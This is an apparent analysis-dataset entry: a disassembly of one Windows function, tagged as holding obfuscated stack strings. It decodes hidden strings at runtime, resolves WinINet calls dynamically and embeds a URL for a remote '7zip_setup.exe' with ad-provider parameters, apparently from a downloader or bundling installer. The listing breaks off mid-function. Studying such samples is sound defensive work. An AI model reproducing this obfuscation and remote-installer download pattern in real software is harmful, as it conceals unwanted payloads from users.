Function at 0x40b0f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x445983
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x5798
call fcn.0043a940
mov eax, dword [0x452364]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x55c8], ecx
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x58]
call fcn.00401b70
mov byte [ebp - 4], 1
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x4ecc], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x4ec8], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x8c], 1
mov dword [ebp - 0x5c], 1
lea ecx, [ebp - 0x3c]
call fcn.0040fde0
mov byte [ebp - 4], 2
push 0x44c408
lea ecx, [ebp - 0x78]
call fcn.00401ad0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x55c8]
mov dword [ecx + 0x114], fcn.00405670
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov ecx, dword [ebp - 0x55c8]
mov edx, dword [ecx + 0x114]
mov dword [eax], edx
mov byte [ebp - 4], 4
mov dword [ebp - 0x4ed0], 0
jmp 0x40b1fa
mov eax, dword [ebp - 0x4ed0]
add eax, 1
mov dword [ebp - 0x4ed0], eax
cmp dword [ebp - 0x4ed0], 0xa
jge 0x40b21b
mov ecx, dword [ebp - 0x4ed0]
mov dword [ebp - 0x4ed4], ecx
mov dword [ebp - 0x4ed4], 0x37
jmp 0x40b1eb
mov dword [ebp - 0x51cc], 0x16
push 0x44e948
lea edx, [ebp - 0x51cc]
push edx
call fcn.0042046b
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x58]
call fcn.0040f540
movzx eax, al
test eax, eax
je 0x40b33f
push 0x2f
lea ecx, [ebp - 0x51e8]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x55cc], eax
mov ecx, dword [ebp - 0x55cc]
mov dword [ebp - 0x55d0], ecx
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x55d0]
push edx
lea ecx, [ebp - 0x4fe0]
call fcn.00401b70
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x51e8]
call fcn.00401bb0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x51ec], esp
push 0x44c434
call fcn.00401ad0
mov dword [ebp - 0x55d4], eax
mov eax, dword [ebp - 0x55d4]
mov dword [ebp - 0x55d8], eax
mov byte [ebp - 4], 9
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x51f0], esp
push 0x44c438
call fcn.00401ad0
mov dword [ebp - 0x55dc], eax
mov ecx, dword [ebp - 0x55dc]
mov dword [ebp - 0x55e0], ecx
mov byte [ebp - 4], 0xa
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x51f4], esp
lea edx, [ebp - 0x4fe0]
push edx
call fcn.00401b70
mov dword [ebp - 0x55e4], eax
push 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
push str.http:__install.optimum_installer.com_o_7zip_setup.exe_modedlshiftadproviderdefault
lea ecx, [ebp - 0x58]
call fcn.0040f3c0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4fe0]
call fcn.00401bb0
mov eax, dword [ebp - 0x55c8]
movzx ecx, byte [eax + 0x78]
test ecx, ecx
je 0x40b409
push 0x20
lea edx, [ebp - 0x5210]
push edx
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x55e8], eax
mov edx, dword [ebp - 0x55e8]
mov dword [ebp - 0x55ec], edx
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x55ec]
push eax
lea ecx, [ebp - 0x4ffc]
call fcn.00401b70
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x5210]
call fcn.00401bb0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5214], esp
lea edx, [ebp - 0x58]
push edx
call fcn.00401b70
mov dword [ebp - 0x55f0], eax
mov eax, dword [ebp - 0x55f0]
mov dword [ebp - 0x55f4], eax
mov byte [ebp - 4], 0xe
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5218], esp
lea edx, [ebp - 0x4ffc]
push edx
call fcn.00401b70
mov dword [ebp - 0x55f8], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e230
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4ffc]
call fcn.00401bb0
push 0x28
lea eax, [ebp - 0x5238]
push eax
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x55fc], eax
push 0
mov eax, dword [ebp - 0x55fc]
push eax
lea ecx, [ebp - 0x58]
call fcn.0040f560
xor ecx, ecx
cmp eax, dword [0x44ca8c]
setne cl
mov byte [ebp - 0x5219], cl
lea ecx, [ebp - 0x5238]
call fcn.00401bb0
movzx edx, byte [ebp - 0x5219]
test edx, edx
je 0x40b46d
mov eax, dword [ebp - 0x55c8]
mov byte [eax + 0x79], 1
push 0xe
lea ecx, [ebp - 0x5254]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5600], eax
mov ecx, dword [ebp - 0x5600]
mov dword [ebp - 0x5604], ecx
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x5604]
push edx
lea ecx, [ebp - 0x4f90]
call fcn.00401b70
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x5254]
call fcn.00401bb0
lea ecx, [ebp - 0x4f90]
call fcn.0040f520
mov dword [ebp - 0x4f74], eax
mov eax, dword [ebp - 0x4f74]
push eax
mov ecx, dword [ebp - 0x55c8]
mov edx, dword [ecx + 0xf8]
push edx
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e1f0
mov dword [ebp - 0x4ebc], eax
cmp dword [ebp - 0x4ebc], 0
jne 0x40b5fb
push 0x2e
lea eax, [ebp - 0x5270]
push eax
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x5608], eax
mov eax, dword [ebp - 0x5608]
mov dword [ebp - 0x560c], eax
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x560c]
push ecx
lea ecx, [ebp - 0x5018]
call fcn.00401b70
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x5270]
call fcn.00401bb0
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x5274], esp
push edx
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e2b0
mov dword [ebp - 0x5610], eax
mov eax, dword [ebp - 0x5610]
mov dword [ebp - 0x5614], eax
mov byte [ebp - 4], 0x15
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5278], esp
push 0x44c4ec
call fcn.00401ad0
mov dword [ebp - 0x5618], eax
mov ecx, dword [ebp - 0x5618]
mov dword [ebp - 0x561c], ecx
mov byte [ebp - 4], 0x16
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x527c], esp
push 0x44c4f0
lea eax, [ebp - 0x5018]
push eax
push edx
call fcn.0041a360
add esp, 0xc
mov dword [ebp - 0x5620], eax
push 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
mov dword [ebp - 0x5c], 0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x5018]
call fcn.00401bb0
mov byte [ebp - 0x4fa4], 0x15
mov byte [ebp - 0x4fa3], 0x29
mov byte [ebp - 0x4fa2], 0x28
mov byte [ebp - 0x4fa1], 0x32
mov byte [ebp - 0x4fa0], 0x61
mov byte [ebp - 0x4f9f], 0x28
mov byte [ebp - 0x4f9e], 0x32
mov byte [ebp - 0x4f9d], 0x61
mov byte [ebp - 0x4f9c], 0x70
mov byte [ebp - 0x4f9b], 0x74
push 0xa
lea ecx, [ebp - 0x4fa4]
push ecx
lea edx, [ebp - 0x5298]
push edx
mov ecx, dword [ebp - 0x55c8]
call fcn.00406960
mov dword [ebp - 0x5624], eax
mov eax, dword [ebp - 0x5624]
mov dword [ebp - 0x5628], eax
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x5628]
call fcn.0040f520
push eax
lea ecx, [ebp - 0x4f90]
call fcn.0040f3c0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x5298]
call fcn.00401bb0
lea ecx, [ebp - 0x4f90]
call fcn.00401c50
mov dword [ebp - 0x4f20], eax
push 0xf
lea ecx, [ebp - 0x52b4]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x562c], eax
mov ecx, dword [ebp - 0x562c]
mov dword [ebp - 0x5630], ecx
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x5630]
push edx
mov eax, dword [ebp - 0x4f20]
push eax
push 0
lea ecx, [ebp - 0x4f90]
call fcn.0040f460
push eax
lea ecx, [ebp - 0x4ef0]
call fcn.00401b70
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x52b4]
call fcn.00401bb0
lea ecx, [ebp - 0x4ef0]
call fcn.0040f520
mov dword [ebp - 0x4f74], eax
mov ecx, dword [ebp - 0x4f74]
push ecx
mov edx, dword [ebp - 0x55c8]
mov eax, dword [edx + 0xf8]
push eax
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e1f0
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x40b84c
push 0x2e
lea ecx, [ebp - 0x52d0]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5634], eax
mov ecx, dword [ebp - 0x5634]
mov dword [ebp - 0x5638], ecx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x5638]
push edx
lea ecx, [ebp - 0x5034]
call fcn.00401b70
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x52d0]
call fcn.00401bb0
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x52d4], esp
push eax
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e2b0
mov dword [ebp - 0x563c], eax
mov ecx, dword [ebp - 0x563c]
mov dword [ebp - 0x5640], ecx
mov byte [ebp - 4], 0x1e
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x52d8], esp
push 0x44c4f4
call fcn.00401ad0
mov dword [ebp - 0x5644], eax
mov edx, dword [ebp - 0x5644]
mov dword [ebp - 0x5648], edx
mov byte [ebp - 4], 0x1f
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x52dc], esp
push 0x44c4f8
lea ecx, [ebp - 0x5034]
push ecx
push eax
call fcn.0041a360
add esp, 0xc
mov dword [ebp - 0x564c], eax
push 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
mov dword [ebp - 0x5c], 0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x5034]
call fcn.00401bb0
mov byte [ebp - 0x4f1c], 0x15
mov byte [ebp - 0x4f1b], 0x29
mov byte [ebp - 0x4f1a], 0x28
mov byte [ebp - 0x4f19], 0x32
mov byte [ebp - 0x4f18], 0x61
mov byte [ebp - 0x4f17], 0x28
mov byte [ebp - 0x4f16], 0x32
mov byte [ebp - 0x4f15], 0x61
mov byte [ebp - 0x4f14], 0x70
mov byte [ebp - 0x4f13], 0x77
push 0xa
lea edx, [ebp - 0x4f1c]
push edx
lea eax, [ebp - 0x52f8]
push eax
mov ecx, dword [ebp - 0x55c8]
call fcn.00406960
mov dword [ebp - 0x5650], eax
mov ecx, dword [ebp - 0x5650]
mov dword [ebp - 0x5654], ecx
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x5654]
call fcn.0040f520
push eax
lea ecx, [ebp - 0x4f90]
call fcn.0040f3c0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x52f8]
call fcn.00401bb0
lea ecx, [ebp - 0x4f90]
call fcn.00401c50
mov dword [ebp - 0x4f98], eax
push 0x10
lea edx, [ebp - 0x5314]
push edx
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x5658], eax
mov edx, dword [ebp - 0x5658]
mov dword [ebp - 0x565c], edx
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x565c]
push eax
mov ecx, dword [ebp - 0x4f98]
push ecx
push 0
lea ecx, [ebp - 0x4f90]
call fcn.0040f460
push eax
lea ecx, [ebp - 0x4ef0]
call fcn.00401bd0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x5314]
call fcn.00401bb0
lea ecx, [ebp - 0x4ef0]
call fcn.0040f520
mov dword [ebp - 0x4f74], eax
mov edx, dword [ebp - 0x4f74]
push edx
mov eax, dword [ebp - 0x55c8]
mov ecx, dword [eax + 0xf8]
push ecx
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e1f0
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x40ba97
push 0x2e
lea edx, [ebp - 0x5330]
push edx
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x5660], eax
mov edx, dword [ebp - 0x5660]
mov dword [ebp - 0x5664], edx
mov byte [ebp - 4], 0x22
mov eax, dword [ebp - 0x5664]
push eax
lea ecx, [ebp - 0x5050]
call fcn.00401b70
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x5330]
call fcn.00401bb0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5334], esp
push ecx
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e2b0
mov dword [ebp - 0x5668], eax
mov edx, dword [ebp - 0x5668]
mov dword [ebp - 0x566c], edx
mov byte [ebp - 4], 0x25
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5338], esp
push 0x44c4fc
call fcn.00401ad0
mov dword [ebp - 0x5670], eax
mov eax, dword [ebp - 0x5670]
mov dword [ebp - 0x5674], eax
mov byte [ebp - 4], 0x26
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x533c], esp
push 0x44c500
lea edx, [ebp - 0x5050]
push edx
push ecx
call fcn.0041a360
add esp, 0xc
mov dword [ebp - 0x5678], eax
push 0
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
mov dword [ebp - 0x5c], 0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x5050]
call fcn.00401bb0
mov byte [ebp - 0x4f68], 0x15
mov byte [ebp - 0x4f67], 0x29
mov byte [ebp - 0x4f66], 0x28
mov byte [ebp - 0x4f65], 0x32
mov byte [ebp - 0x4f64], 0x61
mov byte [ebp - 0x4f63], 0x28
mov byte [ebp - 0x4f62], 0x32
mov byte [ebp - 0x4f61], 0x61
mov byte [ebp - 0x4f60], 0x70
mov byte [ebp - 0x4f5f], 0x76
push 0xa
lea eax, [ebp - 0x4f68]
push eax
lea ecx, [ebp - 0x5358]
push ecx
mov ecx, dword [ebp - 0x55c8]
call fcn.00406960
mov dword [ebp - 0x567c], eax
mov edx, dword [ebp - 0x567c]
mov dword [ebp - 0x5680], edx
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x5680]
call fcn.0040f520
push eax
lea ecx, [ebp - 0x4f90]
call fcn.0040f3c0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x5358]
call fcn.00401bb0
lea ecx, [ebp - 0x4f90]
call fcn.00401c50
mov dword [ebp - 0x4f10], eax
push 0x11
lea eax, [ebp - 0x5374]
push eax
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x5684], eax
mov eax, dword [ebp - 0x5684]
mov dword [ebp - 0x5688], eax
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x5688]
push ecx
mov edx, dword [ebp - 0x4f10]
push edx
push 0
lea ecx, [ebp - 0x4f90]
call fcn.0040f460
push eax
lea ecx, [ebp - 0x4ef0]
call fcn.00401bd0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x5374]
call fcn.00401bb0
lea ecx, [ebp - 0x4ef0]
call fcn.0040f520
mov dword [ebp - 0x4f74], eax
mov eax, dword [ebp - 0x4f74]
push eax
mov ecx, dword [ebp - 0x55c8]
mov edx, dword [ecx + 0xf8]
push edx
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e1f0
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x40bce8
push 0x2e
lea eax, [ebp - 0x5390]
push eax
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x568c], eax
mov eax, dword [ebp - 0x568c]
mov dword [ebp - 0x5690], eax
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x5690]
push ecx
lea ecx, [ebp - 0x506c]
call fcn.00401b70
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x5390]
call fcn.00401bb0
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x5394], esp
push edx
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e2b0
mov dword [ebp - 0x5694], eax
mov eax, dword [ebp - 0x5694]
mov dword [ebp - 0x5698], eax
mov byte [ebp - 4], 0x2c
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5398], esp
push 0x44c504
call fcn.00401ad0
mov dword [ebp - 0x569c], eax
mov ecx, dword [ebp - 0x569c]
mov dword [ebp - 0x56a0], ecx
mov byte [ebp - 4], 0x2d
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x539c], esp
push 0x44c508
lea eax, [ebp - 0x506c]
push eax
push edx
call fcn.0041a360
add esp, 0xc
mov dword [ebp - 0x56a4], eax
push 0
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
mov dword [ebp - 0x5c], 0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x506c]
call fcn.00401bb0
cmp dword [ebp - 0x5c], 0
jne 0x40bd23
mov dword [ebp - 0x53a0], 0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x4ef0]
call fcn.00401bb0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f90]
call fcn.00401bb0
mov dword [ebp - 4], 3
mov eax, 0x40cbac
ret
push 0x2c
lea ecx, [ebp - 0x53bc]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x56a8], eax
mov ecx, dword [ebp - 0x56a8]
mov dword [ebp - 0x56ac], ecx
mov byte [ebp - 4], 0x2e
mov edx, dword [ebp - 0x56ac]
push edx
lea ecx, [ebp - 0x4f3c]
call fcn.00401b70
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x53bc]
call fcn.00401bb0
lea ecx, [ebp - 0x4f3c]
call fcn.0040f520
mov dword [ebp - 0x4f70], eax
mov eax, dword [ebp - 0x4f70]
push eax
lea ecx, [ebp - 0x4fc4]
call fcn.00401ad0
mov byte [ebp - 4], 0x31
push 0x20
lea ecx, [ebp - 0x4fc4]
call fcn.00401c50
push eax
lea ecx, [ebp - 0x4f5c]
call fcn.0040e440
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x53c4]
push ecx
lea ecx, [ebp - 0x4f5c]
call fcn.0040e540
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x53cc]
push ecx
lea ecx, [ebp - 0x4fc4]
call fcn.0040f4c0
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x53d4]
push ecx
lea ecx, [ebp - 0x4fc4]
call fcn.0040f490
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x53dc]
push ecx
call fcn.0041a280
add esp, 0x1c
lea ecx, [ebp - 0x4f5c]
call fcn.0040e5e0
mov dword [ebp - 0x4f6c], eax
push 0
push 0
push 0
push 1
mov edx, dword [ebp - 0x4f6c]
push edx
call dword [ebp - 0x4ebc]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jne 0x40bfa0
push 0x2e
lea eax, [ebp - 0x53f8]
push eax
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov edx, dword [eax]
call edx
add esp, 8
mov dword [ebp - 0x56b0], eax
mov eax, dword [ebp - 0x56b0]
mov dword [ebp - 0x56b4], eax
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x56b4]
push ecx
lea ecx, [ebp - 0x5088]
call fcn.00401b70
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x53f8]
call fcn.00401bb0
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x53fc], esp
push edx
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e2b0
mov dword [ebp - 0x56b8], eax
mov eax, dword [ebp - 0x56b8]
mov dword [ebp - 0x56bc], eax
mov byte [ebp - 4], 0x36
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5400], esp
push 0x44c50c
call fcn.00401ad0
mov dword [ebp - 0x56c0], eax
mov ecx, dword [ebp - 0x56c0]
mov dword [ebp - 0x56c4], ecx
mov byte [ebp - 4], 0x37
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x5404], esp
push 0x44c510
lea eax, [ebp - 0x5088]
push eax
push edx
call fcn.0041a360
add esp, 0xc
mov dword [ebp - 0x56c8], eax
push 0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
mov dword [ebp - 0x5408], 0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x5088]
call fcn.00401bb0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x4f5c]
call fcn.0040e4c0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4fc4]
call fcn.00401bb0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x4f3c]
call fcn.00401bb0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x4ef0]
call fcn.00401bb0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f90]
call fcn.00401bb0
mov dword [ebp - 4], 3
mov eax, 0x40cb6c
ret
push 4
lea ecx, [ebp - 0x1c]
push ecx
push 0x41
mov edx, dword [ebp - 0x94]
push edx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
mov dword [ebp - 0x4ec0], eax
mov dword [ebp - 0x4f94], 0xea60
push 4
lea eax, [ebp - 0x4f94]
push eax
push 6
mov ecx, dword [ebp - 0x94]
push ecx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push 0x20
lea ecx, [ebp - 0x58]
call fcn.00401c50
push eax
lea ecx, [ebp - 0x4f0c]
call fcn.0040e440
mov byte [ebp - 4], 0x38
lea edx, [ebp - 0x5410]
push edx
lea ecx, [ebp - 0x4f0c]
call fcn.0040e540
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x5418]
push eax
lea ecx, [ebp - 0x58]
call fcn.0040f4c0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x5420]
push eax
lea ecx, [ebp - 0x58]
call fcn.0040f490
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x5428]
push eax
call fcn.0041a280
add esp, 0x1c
lea ecx, [ebp - 0x4f0c]
call fcn.0040e5e0
mov dword [ebp - 0x4f40], eax
cmp dword [ebp - 0x4ec0], 0
jne 0x40c4ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee9
jne 0x40c4ee
mov byte [ebp - 4], 0x39
push 0
push 0x84000000
push 0
push 0
mov ecx, dword [ebp - 0x4f40]
push ecx
mov edx, dword [ebp - 0x94]
push edx
call dword [ebp - 0x84]
mov dword [ebp - 0x56cc], eax
mov eax, dword [ebp - 0x56cc]
mov dword [ebp - 0x80], eax
jmp 0x40c189
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x80], 0
jne 0x40c4e9
mov ecx, dword [ebp - 0x55c8]
movzx edx, byte [ecx + 0x78]
test edx, edx
je 0x40c373
mov byte [ebp - 4], 0x3f
push 0
push 0x84000000
push 0
push 0
mov eax, dword [ebp - 0x4f40]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call dword [ebp - 0x84]
mov dword [ebp - 0x56e4], eax
mov edx, dword [ebp - 0x56e4]
mov dword [ebp - 0x80], edx
jmp 0x40c2a9
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x80], 0
jne 0x40c373
push 0x24
lea ecx, [ebp - 0x548c]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x56fc], eax
mov ecx, dword [ebp - 0x56fc]
mov dword [ebp - 0x5700], ecx
mov byte [ebp - 4], 0x45
mov edx, dword [ebp - 0x5700]
push edx
lea ecx, [ebp - 0x50dc]
call fcn.00401b70
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x548c]
call fcn.00401bb0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5490], esp
push 0x44c51c
call fcn.00401ad0
mov dword [ebp - 0x5704], eax
mov eax, dword [ebp - 0x5704]
mov dword [ebp - 0x5708], eax
mov byte [ebp - 4], 0x48
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5494], esp
lea edx, [ebp - 0x50dc]
push edx
call fcn.00401b70
mov dword [ebp - 0x570c], eax
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e230
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x50dc]
call fcn.00401bb0
cmp dword [ebp - 0x80], 0
jne 0x40c4e9
mov eax, dword [ebp - 0x94]
push eax
call dword [ebp - 0x7c]
push 0x2e
lea ecx, [ebp - 0x54b0]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5710], eax
mov ecx, dword [ebp - 0x5710]
mov dword [ebp - 0x5714], ecx
mov byte [ebp - 4], 0x49
mov edx, dword [ebp - 0x5714]
push edx
lea ecx, [ebp - 0x50f8]
call fcn.00401b70
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x54b0]
call fcn.00401bb0
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x54b4], esp
push eax
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e2b0
mov dword [ebp - 0x5718], eax
mov ecx, dword [ebp - 0x5718]
mov dword [ebp - 0x571c], ecx
mov byte [ebp - 4], 0x4c
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x54b8], esp
push 0x44c520
call fcn.00401ad0
mov dword [ebp - 0x5720], eax
mov edx, dword [ebp - 0x5720]
mov dword [ebp - 0x5724], edx
mov byte [ebp - 4], 0x4d
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x54bc], esp
push 0x44c524
lea ecx, [ebp - 0x50f8]
push ecx
push eax
call fcn.0041a360
add esp, 0xc
mov dword [ebp - 0x5728], eax
push 0
mov byte [ebp - 4], 0x4b
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
mov dword [ebp - 0x54c0], 0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x50f8]
call fcn.00401bb0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x4f0c]
call fcn.0040e4c0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x4f5c]
call fcn.0040e4c0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4fc4]
call fcn.00401bb0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x4f3c]
call fcn.00401bb0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x4ef0]
call fcn.00401bb0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f90]
call fcn.00401bb0
mov dword [ebp - 4], 0x38
mov eax, 0x40cb2c
ret
jmp 0x40ca7c
push 0x31
lea edx, [ebp - 0x54dc]
push edx
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov ecx, dword [eax]
call ecx
add esp, 8
mov dword [ebp - 0x572c], eax
mov edx, dword [ebp - 0x572c]
mov dword [ebp - 0x5730], edx
mov byte [ebp - 4], 0x4e
mov eax, dword [ebp - 0x5730]
push eax
